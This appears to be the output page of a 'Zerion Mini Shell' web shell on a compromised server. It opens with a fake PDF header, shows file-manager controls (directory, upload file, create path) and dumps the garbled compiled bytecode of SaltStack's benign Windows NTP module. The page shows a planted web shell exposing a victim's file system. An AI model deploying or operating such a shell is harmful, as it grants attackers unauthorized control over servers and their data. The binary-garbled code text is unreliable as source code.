%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/win_ntp.pyc

�
���^c@@sndZddlmZmZmZddlZddlZeje	�Z
dZd�Zd�Z
d�ZdS(uB
Management of NTP servers on Windows

.. versionadded:: 2014.1.0
i(tabsolute_importtunicode_literalstprint_functionNuntpcC@s tjjj�stdfStS(u$
    This only supports Windows
    u7Module win_system: module only works on Windows systems(tsalttutilstplatformt
is_windowstFalset__virtualname__(((s8/usr/lib/python2.7/site-packages/salt/modules/win_ntp.pyt__virtual__s
cG@s�d}td|�s-td|�s-tSnddddjdj|��g}ddd	g}ddd
g}x+|||fD]}td|dt�qWtt|��t�ks�tStd
|�tS(u�
    Set Windows to use a list of NTP servers

    CLI Example:

    .. code-block:: bash

        salt '*' ntp.set_servers 'pool.ntp.org' 'us.pool.ntp.org'
    uw32timeuservice.statusu
service.startuW32tmu/configu/syncfromflags:manualu/manualpeerlist:{0}u u
/reliable:yesu/updateucmd.runtpython_shelluservice.restart(t__salt__Rtformattjointsortedtlisttget_serverstTrue(tserverstservice_namet
server_cmdtreliable_cmdt
update_cmdtcmd((s8/usr/lib/python2.7/site-packages/salt/modules/win_ntp.pytset_serverss
	cC@s�dddg}td|dt�j�}xp|D]h}yK|jd�r�|jdd�d	jd
d�\}}t|j��SWq2tk
r�}tSXq2WtS(uz
    Get list of configured NTP servers

    CLI Example:

    .. code-block:: bash

        salt '*' ntp.get_servers
    uw32tmu/queryu/configurationucmd.runR
u
NtpServer:u (iiu:(RRt
splitlinest
startswithtrsplittsplitRt
ValueError(Rtlinestlinet_tntpsvrste((s8/usr/lib/python2.7/site-packages/salt/modules/win_ntp.pyR<s

(	(t__doc__t
__future__RRRtloggingtsalt.utils.platformRt	getLoggert__name__tlogRR	RR(((s8/usr/lib/python2.7/site-packages/salt/modules/win_ntp.pyt<module>s			

Zerion Mini Shell 1.0